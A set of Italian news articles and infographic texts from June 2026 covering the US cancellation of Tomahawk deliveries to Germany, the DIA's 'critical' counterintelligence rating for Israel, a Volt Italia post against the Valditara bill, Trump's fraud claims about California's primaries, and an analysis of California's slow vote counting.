L'Amministrazione Biden concorda con Berlino la fornitura dei Tomahawk
Il Pentagono si prepara a cancellare il piano per timore della reazione di Mosca

Nel mezzo: una richiesta tedesca senza risposta da 18 mesi e 5.000 soldati Usa ritirati dalla Germania

Esplora in dettaglio
1 Retromarcia 2 Motivi 3 Disimpegno 4 Berlino

Due anni, una promessa ritirata

Dall'annuncio dell'era Biden alla cancellazione attesa


La fornitura dei Tomahawk era il pilastro dell'intesa sulla deterrenza europea. Passo dopo passo, Washington l'ha svuotata di significato.

Tocca un evento per i dettagli

Luglio 2024
Usa e Germania annunciano l'intesa sui missili a lungo raggio

L'Amministrazione Biden concorda con Berlino la fornitura alla Germania di missili di precisione, tra cui i Tomahawk, per rafforzare la deterrenza contro la Russia.

Fine 2024
Berlino presenta la richiesta ufficiale di acquisto

Il Ministro della Difesa Boris Pistorius rivela che la domanda formale per acquistare i Tomahawk risale a un anno e mezzo fa. Washington non ha mai risposto.

Luglio 2025
Pistorius a Washington chiede anche i lanciamissili Typhon

Durante la visita negli Stati Uniti, il Ministro tedesco manifesta interesse per il sistema missilistico terrestre americano Typhon in grado di lanciare i Tomahawk.

Primavera 2026
Il Pentagono ritira circa 5.000 soldati dalla Germania

La decisione sorprende i funzionari europei e i falchi repubblicani: la presenza militare americana torna così ai livelli precedenti alla guerra in Ucraina.

Maggio 2026
Merz mette in conto la rinuncia, Hegseth ammette il problema scorte

Il cancelliere dichiara di non aspettarsi più la fornitura: i missili scarseggiano. Al Congresso, il Segretario alla Difesa ammette che ricostituire le munizioni dopo la guerra in Iran richiederà diversi anni.

4 giugno 2026
Politico rivela: il piano sta per essere cancellato

Due funzionari europei e uno statunitense confermano che il Pentagono si prepara a fare marcia indietro, anche per il timore che Mosca consideri la fornitura come un'escalation.

Perché Washington frena

Due ragioni dietro la marcia indietro del Pentagono


La cancellazione attesa non nasce solo dal calcolo politico verso Mosca: pesa anche un arsenale sempre più ridotto dopo la guerra con l'Iran.

1

Il timore della reazione russa

Washington teme una ritorsione di Mosca se l'Amministrazione Trump dovesse fornire missili di precisione al Paese nel cuore del continente europeo. La cautela ribalta la logica dell'intesa originaria, nata proprio per scoraggiare la Russia.

2

Le scorte consumate contro l'Iran

Gli Stati Uniti hanno impiegato migliaia di missili Tomahawk e intercettori Patriot nelle prime settimane della guerra con l'Iran. Per il Segretario alla Difesa Pete Hegseth, ricostituire le scorte di munizioni richiederà diversi anni.

Gli americani non ne hanno abbastanza nemmeno per loro in questo momento.
Friedrich Merz · Cancelliere tedesco

Il quadro più ampio

La rinuncia alla fornitura di Tomahawk è un tassello del disimpegno Usa dalla NATO


In pochi mesi Washington ha ridotto truppe, caccia, droni e unità navali presenti in Europa, chiedendo agli alleati europei di assumersi la difesa convenzionale del continente.

5.000
Soldati ritirati dalla Germania in primavera

Pre-2022
Il livello a cui torna la presenza militare Usa

3
Le categorie di mezzi in riduzione: caccia, droni e unità navali

L'Europa deve farsi avanti ora e nel breve termine.
Gen. Alexus Grynkewich · Comandante supremo della NATO

L'obiettivo dichiarato

Secondo il Pentagono, la riduzione serve a dare agli alleati la chiarezza necessaria perché assumano la responsabilità primaria della difesa convenzionale dell'Europa, mentre mezzi e truppe americane vengono ricollocati altrove.

Il problema concreto

La Germania resta esposta ai missili russi alle sue porte


Senza i Tomahawk, con gittata superiore ai 1.600 km, Berlino perde un tassello chiave della sua capacità di risposta a lungo raggio che considera essenziale di fronte agli arsenali missilistici già schierati da Mosca.

Kaliningrad · Exclave russa
Missili Iskander

A capacità nucleare, dispiegati da tempo nell'exclave incastonata tra Polonia e Lituania, a ridosso del territorio NATO.

Bielorussia
Missili Oreshnik

Ipersonici a medio raggio, in grado di raggiungere tutta l'Europa in pochi minuti partendo dal territorio bielorusso.

A essere onesti, visto lo stato attuale del mondo, non ho molte speranze.
Boris Pistorius · Ministro della Difesa tedesco

La corsa contro il tempo

Berlino valuta ora alternative europee per i missili di precisione a lungo raggio di cui ha bisogno. Ma molti analisti temono che il ritiro americano costringa l'Europa a colmare le proprie lacune più rapidamente di quanto la sua industria della difesa sia in grado di fare.

Fonti Politico (4 giugno 2026, esclusiva con due funzionari europei e uno statunitense), WELT, dichiarazioni pubbliche di Merz, Pistorius, Hegseth e Grynkewich.

Il disimpegno americano dalla NATO


Il ripensamento sulla fornitura dei Tomahawk si inserisce in un disimpegno americano più ampio dall'Alleanza Atlantica. In primavera il Pentagono ha ordinato il rientro di circa 5.000 soldati dalla Germania, una decisione che ha sorpreso i funzionari europei e i falchi repubblicani, riportando la presenza militare statunitense ai livelli precedenti allo scoppio della guerra in Ucraina. Questa settimana, durante una conferenza dei vertici militari, gli Stati Uniti hanno annunciato ulteriori riduzioni della presenza di caccia, droni e unità navali, come riportato da WELT.

L'Europa "deve farsi avanti ora e nel breve termine", ha detto ai leader militari dei Paesi NATO il generale Alexus Grynkewich, comandante supremo della NATO e capo delle forze americane in Europa, spiegando che gli Stati Uniti "ricollocheranno" mezzi e truppe altrove. Un funzionario del Dipartimento della Difesa ha spiegato a Politico che l'obiettivo è dare agli alleati la chiarezza necessaria affinché assumano "la responsabilità primaria della difesa convenzionale dell'Europa".

Sul ripensamento pesa probabilmente anche la riduzione delle scorte americane. Gli Stati Uniti hanno consumato migliaia di missili Tomahawk e intercettori Patriot nelle prime settimane della guerra con l'Iran. Il Segretario alla Difesa Pete Hegseth ha ammesso al Congresso il mese scorso che serviranno "diversi anni" per rimpiazzare le munizioni utilizzate.

Berlino senza risposta da un anno e mezzo


Il cancelliere tedesco Friedrich Merz aveva già messo in conto questo scenario. Il mese scorso ha dichiarato alla televisione pubblica tedesca di non aspettarsi più la fornitura dei Tomahawk, missili cruise con una gittata superiore ai 1.600 km, perché disponibili in numero limitato: "Gli americani non ne hanno abbastanza nemmeno per loro in questo momento".

Da parte sua, il Ministro della Difesa Boris Pistorius ha rivelato che la Germania ha presentato "un anno e mezzo fa" una richiesta ufficiale per acquistare i Tomahawk, senza però ricevere risposta. "A essere onesti, visto lo stato attuale del mondo, non ho molte speranze", ha detto. Pistorius aveva manifestato interesse anche per il sistema missilistico terrestre americano Typhon, in grado di lanciare i Tomahawk, durante una visita a Washington lo scorso luglio.

Per Berlino il problema però è concreto e immediato. La Russia ha da tempo dispiegato missili Iskander a capacità nucleare a Kaliningrad, exclave russa che si trova tra Polonia e Lituania, così come missili a medio raggio ipersonici Oreshnik in Bielorussia, in grado di raggiungere tutta l'Europa in pochi minuti. I funzionari tedeschi stanno ora valutando alternative europee per dotarsi di missili di precisione a lungo raggio in risposta a queste minacce russe. Molti analisi temono però che il ritiro americano costringa l'Europa a dover colmare le proprie lacune militari più rapidamente di quanto la sua industria della difesa sia in grado di fare.

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Israele sta spiando gli Stati Uniti?


La Defense Intelligence Agency ha portato la minaccia Israele al livello "critico". Si temono intercettazioni sui negoziatori americani del cessate il fuoco con l'Iran

Il Pentagono ha innalzato al livello massimo la valutazione della minaccia di controspionaggio rappresentata da Israele, portandola da "alto" a "critico" nelle scorse settimane. La decisione è stata presa dalla Defense Intelligence Agency, l'agenzia di intelligence militare del Dipartimento della Difesa, come hanno rivelato al sito NBC News due funzionari americani in carica e un ex funzionario. La DIA ha diffuso un messaggio interno, visionato da uno dei funzionari, che porta il livello per Israele a "critico".

Alla base della scelta c'è il sospetto che Israele stia intensificando le operazioni di sorveglianza sui vertici dell'amministrazione Trump per ottenere informazioni sulle discussioni interne e sulle decisioni relative ai conflitti in Medio Oriente. Secondo quanto riportato dal New York Times, recenti rapporti di intelligence americani indicano che i servizi israeliani avrebbero intercettato i negoziatori statunitensi impegnati a trattare un accordo di pace con l'Iran. Tra gli obiettivi ci sarebbero Steve Witkoff, il principale negoziatore del presidente Trump, Elbridge A. Colby, responsabile delle politiche del Pentagono, e Michael P. DiMino IV, suo vice per il Medio Oriente.

Colby è uno dei più noti sostenitori di una politica estera contenuta all'interno del governo americano, mentre DiMino si occupa direttamente di Medio Oriente, il che lo rende un interlocutore naturale per Israele. Un ex alto funzionario americano che ha lavorato a lungo con Israele ha detto al New York Times che l'abitudine di alcuni membri dell'amministrazione di volare su aerei privati, usare telefoni personali per questioni di sicurezza nazionale e rifiutare il personale delle ambasciate americane all'estero li ha resi bersagli particolarmente vulnerabili per i servizi segreti, sia di alleati che di avversari. Anche altri funzionari in carica hanno ammesso che l'uso di cellulari personali da parte dei vertici americani li ha trasformati in obiettivi facili da intercettare.

Il documento della DIA, sette pagine con un grafico, elenca una serie di episodi concreti che hanno fatto crescere la preoccupazione. Nel 2021 ufficiali dell'intelligence militare israeliana furono sorpresi a piazzare dispositivi di ascolto nel quartier generale della stessa DIA. L'anno scorso agenti dello Shin Bet, il servizio di sicurezza interna israeliano, hanno tentato di installare una cimice in un veicolo del Secret Service, l'agenzia che protegge il presidente. Più di recente, personale militare americano di stanza in Israele ha scoperto che software per intercettare le comunicazioni era stato installato di nascosto sui loro telefoni. Il documento indica che gli episodi di controspionaggio hanno cominciato a moltiplicarsi dalla fine del 2024, quando l'amministrazione Biden premeva su Israele perché riducesse gli attacchi a Gaza e sono proseguiti nel 2025 con l'amministrazione Trump che valutava le opzioni per colpire l'Iran.

Spionaggio israeliano negli Stati Uniti

Il Pentagono mette sotto osservazione l'alleato più stretto


La Defense Intelligence Agency classifica come "critica" la minaccia dello spionaggio israeliano. Washington teme che il governo Netanyahu voglia sorvegliare i vertici dell'Amministrazione per anticipare le mosse di Trump sulla guerra con l'Iran.

Fonte: NBC News Due funzionari Usa in carica e un ex funzionario

Allerta controspionaggio assegnata dalla DIA
Critico

È il livello massimo della scala. Riguarda Israele, il più stretto alleato degli Stati Uniti in Medio Oriente.

Basso

Moderato

Elevato

Critico

Esplora in dettaglio
1 L'allerta 2 Lo scontro 3 Le smentite 4 I precedenti

La valutazione della DIA

Un documento interno di 7 pagine classifica lo spionaggio israeliano come minaccia critica


Secondo Washington, Israele vuole conoscere in anticipo le scelte della Casa Bianca sui conflitti in Medio Oriente. I funzionari non sanno se sia stato un singolo episodio a far scattare l'innalzamento.

Massimo
Livello raggiunto dall'allerta sulla scala della DIA

7
Pagine del documento, con una tabella riassuntiva

3
Funzionari Usa che confermano a NBC News

Cosa cambia per i funzionari Usa
Maggiore cautela nei viaggi in Israele
Più prudenza negli incontri con le controparti israeliane
Telefoni e computer "usa e getta" nelle missioni ufficiali
Meno conversazioni nelle camere d'albergo

Cosa non cambia, per ora
La condivisione quotidiana di intelligence tra Washington e Israele sulla guerra con l'Iran prosegue senza ripercussioni
L'alleanza militare e diplomatica resta formalmente intatta

Il contesto politico

Trump e Netanyahu sono divisi su come chiudere la guerra con l'Iran


L'allerta arriva mentre i due leader si scontrano sulla strategia. Tocca i nomi per vedere le rispettive posizioni.

TDonald Trump

Donald Trump
Cerca un'uscita diplomatica dal conflitto

Dal cessate il fuoco di inizio aprile sta cercando un accordo con Teheran per chiudere la guerra lanciata il 28 febbraio
Preme su Israele perché riduca gli attacchi contro Hezbollah in Libano
In una telefonata questa settimana ha definito Netanyahu come un "fottuto pazzo"

NBenjamin Netanyahu

Benjamin Netanyahu
Vuole riprendere i bombardamenti

Spinge per riprendere le operazioni militari contro l'Iran
Si oppone alle pressioni americane per ridurre gli attacchi contro Hezbollah in Libano
Secondo Washington, il suo governo vorrebbe conoscere in anticipo le decisioni della Casa Bianca sui conflitti in Medio Oriente

Perché Israele spierebbe Washington

Secondo i funzionari citati da NBC News, il governo Netanyahu vuole capire una cosa sola: se Trump intenda riprendere le operazioni su larga scala contro l'Iran o chiudere il conflitto per via diplomatica.

Le reazioni

Due smentite secche, due silenzi


Le quattro risposte ufficiali alla ricostruzione di NBC News, una per una.

2Smentite
vs
2Silenzi

Ambasciata israeliana a Washington
Nega

"Accusa completamente falsa"
L'intelligence israeliana, sostiene il portavoce, è diretta "contro i nemici di Israele, non contro i suoi alleati".

Casa Bianca
Nega

"L'intera storia è falsa"
Un portavoce respinge in blocco la ricostruzione di NBC News.

Pentagono
Tace

Nessun commento
Il Dipartimento della Difesa non commenta la valutazione della sua stessa agenzia di intelligence.

Direttore dell'Intelligence Nazionale
Tace

Nessuna risposta
L'ufficio del DNI ignora le richieste di chiarimento.

Israele ha "un servizio di intelligence iperaggressivo", attivo da anni anche nei confronti di Washington.
Emily Harding, Center for Strategic and International Studies, a NBC News

Quarant'anni di spionaggio

Dallo scandalo Pollard alla guerra con l'Iran: come si arriva all'allerta di oggi


Tocca un evento per i dettagli.

Anni Ottanta
Il caso Jonathan Pollard, la ferita mai chiusa

L'analista dell'intelligence della Marina americana vende documenti top secret a Israele. Sconterà 30 anni di carcere: è il precedente più clamoroso dello spionaggio israeliano negli Stati Uniti.

2013
Snowden rivela che anche gli Usa spiano gli alleati

Le rivelazioni di Edward Snowden mostrano che Washington intercettava il telefono della cancelliera tedesca Angela Merkel. Lo spionaggio tra alleati non è quindi un'esclusiva israeliana.

28 Feb 2026
Israele e Stati Uniti lanciano la guerra contro l'Iran

Inizia il conflitto che sta ridisegnando gli equilibri della regione e mettendo alla prova l'alleanza tra Washington e il governo Netanyahu.

Inizio Apr 2026
Entra in vigore il cessate il fuoco

Trump apre il canale diplomatico con Teheran per chiudere definitivamente la guerra. Netanyahu spinge invece per riprendere i bombardamenti: le strade dei due alleati si dividono.

Ultime settimane
La DIA porta l'allerta su Israele al livello "critico"

L'agenzia di intelligence del Pentagono diffonde una valutazione interna di 7 pagine. Negli stessi giorni, una telefonata tesa tra Trump e Netanyahu certifica la crisi di fiducia tra i due governi.

Fonte NBC News, sulla base di due funzionari americani in carica e un ex funzionario. Valutazione interna della Defense Intelligence Agency · Giugno 2026. Foto: The White House (D. Torok); GPO Israele (A. Ohayon, CC BY-SA 3.0).

L'allerta arriva in un momento di forte tensione tra Stati Uniti e Israele sulla conduzione della guerra contro l'Iran. I due paesi combattono fianco a fianco dal 28 febbraio, con una coordinazione militare senza precedenti: ufficiali israeliani lavorano gomito a gomito con i colleghi americani al Comando centrale statunitense e l'esercito americano condivide ogni giorno enormi quantità di informazioni tattiche e operative con le controparti israeliane. Ma gli obiettivi stanno divergendo. Dall'inizio di aprile, quando è stato raggiunto un cessate il fuoco, il presidente Trump sta portando avanti un negoziato diplomatico per chiudere il conflitto. Il primo ministro israeliano Benjamin Netanyahu spinge invece per riprendere i bombardamenti sull'Iran e ha pubblicamente espresso scetticismo sul fatto che Teheran rispetti un accordo.

La settimana scorsa i due leader hanno avuto una telefonata tesa, durante la quale Trump ha definito Netanyahu "pazzo", come lo stesso presidente ha poi ammesso ai giornalisti. Lo scontro riguarda anche il Libano: Trump preme su Israele perché ridimensioni gli attacchi contro Hezbollah, mentre Netanyahu insiste per colpire più duramente.

Un portavoce dell'ambasciata israeliana a Washington ha detto a NBC News che l'accusa è "completamente falsa": "Israele non raccoglie intelligence su entità americane, tantomeno su funzionari del governo degli Stati Uniti". Anche la Casa Bianca ha negato, definendo "falsa" l'intera storia. Il Pentagono non ha commentato. L'Ufficio del direttore dell'intelligence nazionale, che supervisiona tutte le agenzie di intelligence americane inclusa la DIA, non ha risposto alle richieste di commento.

Che gli alleati si spiano a vicenda non è una novità. Anche gli Stati Uniti lo fanno, come rivelarono nel 2013 le fughe di notizie dell'ex contractor Edward Snowden, che mostrarono come Washington intercettasse i leader europei, compreso il telefono dell'allora cancelliera tedesca Angela Merkel. Israele però ha una reputazione consolidata di particolare aggressività nello spionaggio verso gli Stati Uniti. Negli anni Ottanta il caso di Jonathan Pollard, un analista della Marina americana che passò valigie di documenti segretissimi a Israele e trascorse trent'anni in prigione, creò una frattura profonda tra i due paesi.

Secondo il New York Times, il livello di minaccia assegnato a Israele è ora più alto di quello di qualsiasi altro alleato e superiore persino a quello di alcuni paesi apertamente ostili. L'unico alleato che si avvicina è la Corea del Sud, valutata "alta" in alcune circostanze. Un alto funzionario americano ha descritto l'aggressività della raccolta di intelligence israeliana sui vertici dell'amministrazione Trump come "senza freni".

Sul piano pratico, l'innalzamento dell'allerta non sembra destinato a interrompere la condivisione quotidiana di informazioni tra i due paesi, essenziale per la guerra in corso. Ma i funzionari americani useranno ancora più cautela quando si recheranno in Israele o incontreranno colleghi israeliani. Già oggi, come ha spiegato a NBC News uno dei funzionari, gli americani prendono precauzioni supplementari: telefoni e computer usa e getta, massima attenzione a ciò che si dice nelle camere d'albergo durante le missioni ufficiali.

Emily Harding, vicepresidente del dipartimento Difesa e Sicurezza del Center for Strategic and International Studies, ha detto a NBC News che Israele ha "servizi di intelligence iper-aggressivi" ed è "estremamente interessato a quello che facciamo". La combinazione tra la strettissima cooperazione militare in corso e il disallineamento crescente sugli obiettivi politici della guerra rende questa fase particolarmente delicata, con il rischio concreto di incrinare la fiducia reciproca tra i due alleati.

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Il DDL Valditara è un passo indietro per la scuola italiana.

Mentre l’Italia continua a fare i conti con femminicidi, violenza di genere, bullismo, discriminazioni e aggressioni contro le persone LGBTQIA+, il governo sceglie di rendere più difficile parlare in classe di rispetto, consenso, affettività, sessualità e relazioni sane.

Non è tutela: è censura mascherata da protezione.

L’educazione sessuo-affettiva non toglie nulla alle famiglie: dà a ragazze e ragazzi strumenti per riconoscere abusi, stereotipi, pressioni, linguaggi violenti e rapporti tossici.
Serve a prevenire, non a indottrinare.

Chi ha paura della conoscenza preferisce una scuola più silenziosa, più controllata, più vulnerabile alla propaganda.

Il governo parla di sicurezza, ma indebolisce proprio uno degli strumenti che servono a costruirla: l’educazione.

Serve più prevenzione, non più paura.

Con Alessandro Anzà, copresidente di Volt Italia

#EducazioneAffettiva #ScuolaPubblica #DDLValditara #DirittiLGBTQIA #StopCensura #EuropaFederale #Volt #VoltItalia #VoltEuropa

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Trump fa indagare la California per frodi elettorali nelle primarie


Il presidente accusa senza prove i democratici di "provare a rubare" le primarie, mentre lo spoglio erode il vantaggio repubblicano. Il procuratore Essayli annuncia indagini coordinate con l'Fbi.

L'Amministrazione Trump ha annunciato venerdì 5 giugno di aver aperto "molteplici indagini per frode elettorale" sulle primarie della California, due giorni dopo la chiusura delle urne e con lo spoglio ancora in corso. L'annuncio è arrivato dal procuratore federale per il distretto centrale della California, Bill Essayli, nominato dal presidente nel 2025, che ha parlato di indagini coordinate con l'FBI e di un "audit completo delle liste elettorali" dello Stato.

Il giorno prima Donald Trump aveva accusato su Truth Social i democratici di "provare a rubare" le primarie per la carica di governatore e di sindaco di Los Angeles. "I democratici ci riprovano! Stanno cercando di rubare le primarie per il governatore della California e per il sindaco di Los Angeles a due grandi candidati repubblicani", ha scritto il presidente. Venerdì, intervenendo a un evento pubblico in Wisconsin, è tornato sull'argomento: "Guardate cosa sta succedendo, il margine si restringe sempre di più. Uno Stato corrotto".

Le primarie californiane, che si sono tenute martedì 2 giugno, vedono al momento in vantaggio due candidati repubblicani appoggiati da Trump: Steve Hilton per la corsa a governatore contro il democratico Xavier Becerra, e Spencer Pratt per la sfida a sindaco di Los Angeles contro la democratica uscente Karen Bass. Con il progredire dello spoglio delle schede postali, però, il loro margine si sta progressivamente riducendo, un fenomeno del tutto fisiologico in California.

La California è lo Stato più popoloso del paese e ha uno dei sistemi di voto più permissivi verso il voto per corrispondenza: le schede vengono inviate automaticamente a tutti gli elettori registrati e restano valide se spedite entro il giorno delle elezioni e ricevute entro sette giorni. Il processo di conteggio può durare fino a trenta giorni e la certificazione definitiva è prevista per il 2 luglio, con il risultato ufficiale otto giorni dopo. Shirley Weber, segretaria di Stato della California, ha ricordato che "la precisione viene prima della velocità" e che lo Stato deve processare "milioni di schede".

Non tutti i repubblicani californiani hanno avallato la tesi dei brogli. Roxanne Beckford Hoge, leader locale del partito a Los Angeles, ha pubblicato sui social un comunicato in cui spiega ai suoi sostenitori che il ritardo è previsto dalla legge elettorale statale: tutte le schede spedite entro il giorno del voto, con timbro postale a fare fede, vengono conteggiate se ricevute entro il 9 giugno. Lo stesso Steve Hilton ha ammesso di non aver visto "nulla che giustifichi un'azione legale". Hilton ha chiesto una riforma delle norme sul voto postale, proponendo di limitare le schede a chi ne fa richiesta e di eliminare il periodo di grazia di sette giorni. Ha anche proposto di inviare un contingente di dipendenti statali nelle 58 contee per accelerare il conteggio. Jesse Salinas, presidente dell'associazione dei funzionari elettorali californiani, ha però risposto che l'idea sarebbe "più dannosa che utile": chiunque tocchi una scheda o un macchinario deve ricevere una formazione specifica e i centri di spoglio sono già al completo.

Sul piano concreto, venerdì mattina un procuratore federale aggiunto si è presentato al centro di spoglio della contea di Los Angeles, come riporta l'Associated Press. Gli è stato illustrato il programma e ha potuto assistere alle operazioni. L'ufficio elettorale della contea ha precisato che i funzionari "ospitano regolarmente osservatori in rappresentanza di un'ampia gamma di interessi". Non è la prima volta che il Dipartimento di Giustizia di Trump si interessa alle elezioni californiane: lo scorso autunno aveva inviato osservatori in cinque contee durante un'elezione speciale sulla mappa dei distretti elettorali.

La California è uno Stato a solida maggioranza democratica, dove non si è mai registrata una frode di dimensioni tali da influenzare un risultato elettorale. Trump sostiene da anni, senza prove, che milioni di immigrati irregolari votino a ogni scrutinio con l'assenso della sinistra. La novità è che ora, con le elezioni di metà mandato di novembre alle porte e i sondaggi che lo danno in difficoltà a causa della guerra in Iran e del caro-benzina, il presidente sembra voler costruire una narrazione preventiva per contestare eventuali sconfitte del suo partito. La sinistra vede in queste mosse le premesse di un nuovo tentativo di contestare i risultati del voto in caso di sconfitta.

L'ufficio stampa del governatore Gavin Newsom ha risposto con sarcasmo: "Trump mente di nuovo sulla California, è ora di togliere il telefono al nonno e metterlo a dormire". Dietro l'ironia c'è la preoccupazione che il presidente stia gettando le basi per non riconoscere la legittimità del voto di novembre, proprio come fece dopo la sconfitta del 2020 contro Joe Biden.

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Perché la California non sa contare i voti


Lo stato più popoloso d'America è il più lento nello scrutinio elettorale, e le scuse non reggono. Tra voti per posta e uffici sottofinanziati, i ritardi cronici alimentano complottismo e confusione.

Sono passati oltre tre giorni dalla chiusura dei seggi per le primarie della California e non si sa ancora chi abbia vinto la corsa per governatore, per sindaco di Los Angeles e per diversi seggi alla Camera. La ragione non è un testa a testa, un riconteggio o un disastro naturale: la California è semplicemente lentissima a contare i voti e questo esito era del tutto atteso.

Un'analisi pubblicata sul Silver Bulletin di Nate Silver, con dati raccolti da Eli McKown-Dawson, mostra che la California non ha scuse.

Nel 2024 la California ha impiegato tre giorni per contare appena il 70 per cento delle schede. Nello stesso lasso di tempo, la media dei cinquanta stati americani era già oltre il 95 per cento: la California si è piazzata all'ultimo posto. Ha raggiunto quel 95 per cento soltanto dieci giorni dopo il voto. Per le elezioni statali, come presidenziali, governatoriali e senatoriali, il risultato viene dichiarato in fretta perché lo stato non è competitivo e il margine è ampio. Ma quando le corse sono combattute, il ritardo diventa un problema nazionale. Nel 2024 i distretti congressuali 22 e 27 della California sono stati assegnati dopo settimane; il 13° distretto ha richiesto circa un mese. Più volte il paese ha dovuto aspettare la California per sapere quale partito avrebbe controllato la Camera.

Primarie California · Analisi

Lo Stato più lento d'America a contare i voti non ha scuse


A tre giorni dalla chiusura dei seggi, la California non sa ancora chi ha vinto le corse per governatore e per la Camera. Non è un testa a testa né un riconteggio: è la normalità di uno scrutinio che è tradizionalmente il più lento dei cinquanta Stati.

Analisi Silver Bulletin · Dati Eli McKown-Dawson Elezioni 2024 e primarie 2026

Schede scrutinate a tre giorni dal voto · 2024

California
70%

vs

Media dei 50 Stati
95%

Ultimo posto nazionale per velocità di scrutinio
Quota media già superata dagli altri Stati negli stessi tre giorni

La California raggiungerà il 95% delle schede scrutinate solo 10 giorni dopo il voto

Esplora in dettaglio
1 Il ritardo 2 Le scuse 3 Il mondo 4 Perché conta

Il dato di partenza

Tre giorni dopo il voto, quasi un terzo delle schede californiane resta ancora da contare


Percentuale di schede scrutinate a 72 ore dalla chiusura dei seggi alle elezioni 2024. La Florida, che pure è uno Stato grande e usa il voto postale così come la California, chiude lo scrutinio in poche ore.

Florida99% delle schede in poche ore
99%

Media dei 50 StatiOltre il 95% in tre giorni
95%

CaliforniaAll'ultimo posto tra i 50 Stati
70%

025%50%75%100%

Distretti 22 e 27
Settimane
Per assegnare i due seggi alla Camera nel 2024

13° distretto
~1 mese
Per dichiarare il vincitore

Indice MIT
41ª su 50
Per qualità dell'amministrazione elettorale

Più volte il Paese ha dovuto aspettare la California per sapere quale partito avrebbe controllato la Camera. Ma lo Stato non è più lento perché il conteggio è più accurato: è più lento e, spesso, anche meno efficiente.

Argomenti e controprove

Le quattro giustificazioni della California, smontate una per una


Apri ogni argomento per leggere perché i dati non lo sostengono.

1

«Siamo uno Stato enorme»
Quasi 40 milioni di abitanti, quarta economia del mondo

La controprova
La dimensione non spiega il ritardo: l'India, uno dei pochi sistemi al mondo più complessi della California, nel 2024 ha conteggiato 640 milioni di voti in un solo giorno.

~40 mln
Abitanti della California

640 mln
Voti conteggiati dall'India in un solo giorno

2

«L'80% degli elettori vota per posta»
Ogni firma va verificata a mano

La controprova
Anche in Oregon, Washington e Colorado si vota in larga misura per posta, ma tutti e tre gli Stati scrutinano più rapidamente. La Florida, pur con il 27% di voto postale, conta il 99% delle schede in poche ore, anche perché i funzionari possono iniziare a elaborarle prima dell'apertura dei seggi.

3

«Accettiamo le schede fino a 7 giorni dopo»
Basta il timbro postale entro il giorno del voto

La controprova
Il periodo di grazia non ha reso il voto più inclusivo: la quota di schede respinte perché arrivate in ritardo è rimasta identica, allo 0,5%, prima e dopo la sua introduzione. Il Colorado ammette le schede tardive solo in casi eccezionali, come per i militari all'estero.

0,5%
Schede respinte prima del periodo di grazia

0,5%
Schede respinte dopo il periodo di grazia

4

«Privilegiamo l'accuratezza»
L'argomento della Segretaria di Stato californiana Shirley Weber

La controprova
Il conteggio dei voti è estremamente accurato in tutti i cinquanta Stati, compresi quelli che chiudono lo scrutinio la sera stessa. E non esiste alcuna prova che frodi o errori siano meno diffusi in California: nell'indice MIT sulla qualità dell'amministrazione elettorale lo Stato è 41° su 50.

Il confronto internazionale

La maggior parte dei Paesi sviluppati chiude lo scrutinio delle elezioni nazionali ben prima che la California finisca di scrutinare


Tempo necessario per ottenere un risultato pressoché completo dopo la chiusura dei seggi. Per la California, si tratta dei giorni impiegati nel 2024 per superare il 95% delle schede.

Risultato entro 24 ore

FloridaPoche ore
GiapponeLa notte stessa
ColombiaLa mattina dopo
Regno UnitoLa mattina dopo
IndiaUn giorno

California 10 giorni

1
2
3
4
5
6
7
8
9
10

Giorno 3 70% scrutinato
Giorno 10 95% scrutinato

La Colombia ha votato per il presidente domenica: lunedì mattina era già disponibile il 99,98% del risultato. L'India ha conteggiato 640 milioni di voti in un giorno. La California, nel 2024, ha impiegato 10 giorni solo per arrivare al 95% di scrutinio delle proprie schede.

Le conseguenze

Il ritardo non è solo un fastidio: alimenta la sfiducia nel voto


Su questo punto concordano perfino Donald Trump, che parla di brogli, e il suo arcinemico, il governatore democratico della California, Gavin Newsom.

Dobbiamo riconoscere che più a lungo dura il conteggio, più disinformazione circola.
Gavin Newsom, governatore della California, in una lettera ai funzionari elettorali

L'illusione statistica
53%

Le schede scrutinate nel 6° distretto, dove il candidato democratico appare terzo solo perché i voti democratici espressi via posta vengono conteggiati più tardi.

La timida riforma
30 → 13 giorni

Prima

Ora

Il nuovo limite imposto alle contee per scrutinare la maggior parte delle schede. È un passo avanti, ma gli uffici elettorali restano sottofinanziati.

Il punto

Se si vuole che i cittadini abbiano fiducia nel sistema elettorale, il primo passo è costruirne uno che funzioni.

Fonte Silver Bulletin / Nate Silver, dati raccolti da Eli McKown-Dawson · MIT Elections Performance Index 2024 · CalMatters · Giugno 2026

La spiegazione più frequente è che la California è uno stato enorme, con quasi 40 milioni di abitanti e un'economia che da sola sarebbe la quarta al mondo. Invia una scheda postale a ogni elettore registrato e circa l'80 per cento degli elettori vota per posta. Quelle schede richiedono più tempo per essere elaborate, anche perché i funzionari devono verificare che la firma su ciascuna corrisponda a quella depositata. In più la California è molto permissiva sui tempi di arrivo: se la scheda è stata spedita entro il giorno delle elezioni, può arrivare fino a una settimana dopo ed essere comunque conteggiata. In queste primarie i democratici hanno restituito le schede in media più tardi dei repubblicani, per cui i primi risultati, basati sulle schede anticipate e su quelle del giorno del voto, erano significativamente più rossi di quanto sarà il risultato finale.

Il problema è che nessuno di questi fattori ha a che fare con l'accuratezza, il valore che il segretario di stato della California Shirley Weber dice di privilegiare. "So quanto sia importante essere veloci per alcune persone", ha dichiarato a CalMatters, "ma per me l'accuratezza è molto più importante". Eppure il conteggio dei voti è estremamente accurato in tutti i cinquanta stati, compresi quelli che chiudono lo scrutinio nella sera stessa delle elezioni.

La Florida, uno stato anch'esso grande e con una quota significativa di voto postale (circa il 27 per cento nel 2024), dopo il disastro del 2000 ha riformato la propria amministrazione elettorale e oggi riesce a contare il 99 per cento delle schede nel giro di poche ore dalla chiusura dei seggi, in parte perché i funzionari possono elaborare le schede prima dell'apertura. La California ama ricordare di essere più grande di molti paesi, ma la maggior parte dei paesi sviluppati conclude le elezioni nazionali più in fretta di quanto la California riesca a scrutinare i propri voti. La Colombia ha tenuto un'elezione presidenziale domenica scorsa e lunedì mattina era già disponibile il 99,98 per cento del risultato. Il Giappone conta quasi tutti i voti nella notte stessa. Nel Regno Unito i risultati per tutti i 650 seggi parlamentari si conoscono di regola la mattina dopo il voto. L'India, uno dei pochi posti al mondo con complessità superiori a quelle della California, nel 2024 ha contato 640 milioni di voti in un giorno.

